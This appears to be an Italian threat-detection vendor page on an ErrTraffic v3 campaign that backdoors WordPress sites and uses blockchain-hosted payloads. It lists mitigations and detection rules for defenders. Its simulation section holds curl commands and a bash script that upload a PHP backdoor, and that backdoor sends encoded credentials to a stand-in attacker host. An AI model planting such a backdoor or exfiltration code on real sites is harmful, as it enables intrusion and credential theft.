ErrTraffic v3 Utilizza EtherHiding nelle Campagne di ClickFix
Detection stack
- AIDR
- Alert
- ETL
- Query
Sommario
Il report descrive una nuova campagna che utilizza lo strumento ErrTraffic v3 per compromettere siti WordPress attraverso l’installazione di un backdoor mu-plugin. Il backdoor inietta JavaScript offuscato che recupera payload aggiuntivi tramite una tecnica basata su blockchain chiamata EtherHiding. Lo stadio finale consegna codice malevolo specifico per il sistema operativo, incluso un payload PowerShell crittografato, ai browser delle vittime. Errori di sicurezza operativa come chiavi hard-coded espongono l’infrastruttura.
Indagine
LevelBlue SpiderLabs ha esaminato il backdoor mu-plugin di WordPress, il beacon JavaScript incorporato, e il pannello di controllo ErrTraffic V3. Hanno tracciato l’uso di chiavi XOR statiche, decodifica Base64, e chiamate a smart contract verso nodi Polygon RPC. L’analisi ha anche identificato la chiave di autenticazione hard-coded utilizzata per la comunicazione API e ha mappato l’infrastruttura di hosting presso diversi provider a prova di proiettile.
Mitigazione
I difensori dovrebbero rimuovere il backdoor mu-plugin, bloccare TLD e intervalli IP noti come malevoli, monitorare l’uso della chiave API hard-coded, e limitare le connessioni in uscita verso gli endpoint blockchain RPC. Audita regolarmente le installazioni di WordPress per mu-plugin inattesi e verifica l’integrità dei file. Distribuire firewall per applicazioni web per rilevare i modelli di beaconing JavaScript.
Risposta
Alla rilevazione, isolare il server web interessato, rimuovere i file backdoor e ruotare tutte le credenziali amministrative. Bloccare i domini e gli endpoint RPC malevoli identificati al perimetro di rete. Condurre una revisione forense completa per identificare eventuali payload scaricati e monitorare un’attività continua C2 utilizzando il token API divulgato.
"graph TB %% Class definitions classDef action fill:#99ccff %% Node definitions step_initial_access["<b>Azione</b> – <b>T1659 Iniezione di Contenuti</b><br/>Sfrutta sito WordPress per caricare muu2011plugin malevolo (sessionu2011manager.php)"] class step_initial_access action step_persistence["<b>Azione</b> – <b>T1671 Integrazione Applicazione Cloud</b> / <b>T1525 Impianto Immagine Interna</b><br/>Backdoor installato come plugin mustu2011use in esecuzione ad ogni richiesta"] class step_persistence action step_credential_access["<b>Azione</b> – <b>T1056.003 Cattura Input</b><br/>JavaScript iniettato cattura credenziali admin e le invia all’attaccante"] class step_credential_access action step_c2["<b>Azione</b> – <b>T1102.003 Servizio Web Comunicazione Unidirezionale</b><br/>Beacon invia dati visitatore via navigator.sendBeacon a domini dell’attaccante"] class step_c2 action step_obfuscation["<b>Azione</b> – <b>T1027 File Offuscati</b><br/>Payload codificati con Base64 e XOR, incorporati in script inline"] class step_obfuscation action step_smart_contract["<b>Azione</b> – <b>T1059.009 API Cloud</b><br/>Lo script interroga gli endpoint RPC Polygon e gli smart contract (EtherHiding) per gli URL"] class step_smart_contract action step_dead_drop["<b>Azione</b> – <b>T1102.001</b><br/>Usa blockchain come deadu2011drop per la configurazione C2"] class step_dead_drop action step_encrypted["<b>Azione</b> – <b>T1573.001 Crittografia Simmetrica</b><br/>Traffico API crittografato con AESu2011GCM o RC4 usando chiave hardu2011coded"] class step_encrypted action step_execution["<b>Azione</b> – <b>T1059.001 PowerShell</b><br/>Downloader crea directory temporanea, scrive eseguibile e raccoglie payload specifico OS"] class step_execution action step_priv_esc["<b>Azione</b> – <b>T1546.016 Pacchetti di Installazione</b><br/>Script PowerShell registrato come pacchetto installer per mantenere la base"] class step_priv_esc action %% Connections step_initial_access –>|conduce a| step_persistence step_persistence –>|abilita| step_credential_access step_credential_access –>|fornisce| step_c2 step_c2 –>|utilizza| step_obfuscation step_obfuscation –>|facilita| step_smart_contract step_smart_contract –>|memorizza| step_dead_drop step_dead_drop –>|fornisce| step_encrypted step_encrypted –>|supporta| step_execution step_execution –>|abilita| step_priv_esc "
Flusso di Attacco
Rilevazioni
Linea di Comando Sospetta Contiene Percorso UNC con Eseguibile come Argomento (via cmdline)
Visualizza
Possibili Schemi di Attacco ClickFix Nella Linea di Comando (via cmdline)
Visualizza
Possibile Processo PowerShell in Esecuzione in Directory Sospetta (via cmdline)
Visualizza
Chiamare Metodi .NET Sospetti da PowerShell (via powershell)
Visualizza
Possibili Indicatori di Offuscamento in PowerShell (via powershell)
Visualizza
Possibile Tentativo di Abuso di Ethereum Publicnode come Canale C2 (via dns_query)
Visualizza
Comando e Controllo Sospetti da Richiesta DNS con Dominio di Primo Livello Insolito (TLD) (via dns)
Visualizza
Rilevazione di Payload PowerShell Offuscato con Uso Forzato di TLS 1.2 [Windows PowerShell]
Visualizza
Rilevazione di JavaScript Incorporato e Backdoor di WordPress [Webserver]
Visualizza
Rilevazione di Attività ErrTraffic V3 in Siti WordPress Compromessi [Webserver]
Visualizza
Esecuzione della Simulazione
Requisito: Il Controllo Pre-volo di Telemetria & Baseline deve essere superato.
Motivazione: Questa sezione dettaglia l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e il racconto DEVONO riflettere direttamente i TTP identificati e mirano a generare la telemetria esatta prevista dalla logica di rilevamento. Esempi astratti o non correlati porteranno a diagnosi errate.
-
Narrazione dell’Attacco & Comandi:
Un attaccante ha compromesso un account admin di WordPress e carica un file PHP malevolo denominatosession-manager.phpnella radice web. Il file contiene una sezione HTML dall’aspetto benigno che termina con un blocco<script>il cui commento dice “JavaScript incorporato alla fine della sezione”. Lo script esegue una sottrazione dati furtiva verso un bucket di archiviazione cloud (simulata via uncurlPOST). Nessun uso dinavigator.sendBeacon()è presente, mantenendo la richiesta all’interno della finestra di rilevamento della regola.- Carica il backdoor malevolo:
curl -u admin:password -F "file=@session-manager.php" "http://target.example.com/wp-admin/async-upload.php" - Attiva il backdoor (genera la telemetria che innesca il rilevamento):
curl -s "http://target.example.com/wp-content/uploads/session-manager.php?cmd=exfiltrate"
- Carica il backdoor malevolo:
-
Script di Test di Regressione:
#!/usr/bin/env bash # # Simula il caricamento e l'invocazione di un backdoor malevolo di WordPress # che contiene la frase esatta che la regola Sigma osserva. # set -euo pipefail TARGET="http://target.example.com" ADMIN_USER="admin" ADMIN_PASS="password" # 1. Creare il payload PHP malevolo localmente cat > session-manager.php <<'EOF' <?php // JavaScript incorporato alla fine della sezione echo "<!DOCTYPE html><html><body>"; echo "<script>/* codice malevolo */</script>"; echo "</body></html>"; // Stub di esfiltrazione semplice (no sendBeacon) if ($_GET['cmd'] === 'exfiltrate') { $data = base64_encode('credenciales_rubate'); $url = "https://malicious-storage.example.com/upload"; $options = array('http'=>array('method'=>"POST",'header'=>"Content-Type: application/x-www-form-urlencodedrn",'content'=>http_build_query(array('data'=>$data)))); $context = stream_context_create($options); file_get_contents($url, false, $context); } ?> EOF # 2. Caricare il payload tramite l’endpoint di upload asincrono di WordPress curl -s -u "${ADMIN_USER}:${ADMIN_PASS}" -F "file=@session-manager.php" "${TARGET}/wp-admin/async-upload.php" >/dev/null echo "[+] Caricato il malevolo session-manager.php" # 3. Invocare il backdoor per generare traffico visibile al rilevamento curl -s "${TARGET}/wp-content/uploads/session-manager.php?cmd=exfiltrate" >/dev/null echo "[+] Backdoor attivato – la telemetria di rilevamento dovrebbe ora essere presente" # 4. Opzionale: pausa per ingestione SIEM sleep 5 -
Comandi di Pulizia:
# Rimuovere il file malevolo dal server (richiede accesso SSH admin) ssh admin@target.example.com "rm -f /var/www/html/wp-content/uploads/session-manager.php" echo "[+] Pulizia completata – backdoor rimossa"